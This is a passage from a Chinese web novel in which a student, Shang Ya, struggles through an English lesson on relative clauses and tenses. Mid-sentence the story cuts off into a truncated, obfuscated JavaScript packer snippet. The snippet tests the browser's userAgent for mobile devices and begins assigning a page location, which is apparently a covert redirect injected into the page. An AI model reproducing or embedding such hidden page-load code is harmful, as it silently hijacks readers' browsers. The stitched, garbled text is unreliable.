hom和whose,关系副词包括when、where和why等,但是何为误用她就不理解了。
再说到关系副词修饰先行词。懂。
先行词是前面的时间、地点和原因。懂。
但是that也有可能代替关系副本,还有后面巴拉巴拉的知识点。尚雅又开始迷糊了。
思考了很久,她又在笔记本的这一块打了一个星星。
英语的一百五十分,也还是要多拿一分是一分的。
明晚的晚自习是吴老师坐班,到时候可以拿着这两天听课不懂的知识点过去问。
她得要都自己负责,不能就这样随便糊弄一下,然后把自己都糊弄了。
尚雅缓慢呼出一口气,然后继续听吴老师说着。
笼统地讲完从句的部分,吴老师按了下一页PPT,就讲到时态。
这又是尚雅的一个半盲区。
她对于时态就只有一个笼统的认知,什么过去时、现在时和将来时。过去时是be(was/were)+过去时态的动词;现在时貌似是时态原形和be(am/is/are)+动词ing形式;将来时在她的记忆中存在最弱,只记得be going to do和will/shall+do。
但等看到吴老师在黑板上的板书,尚雅都不知道是用琳琅满目还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|b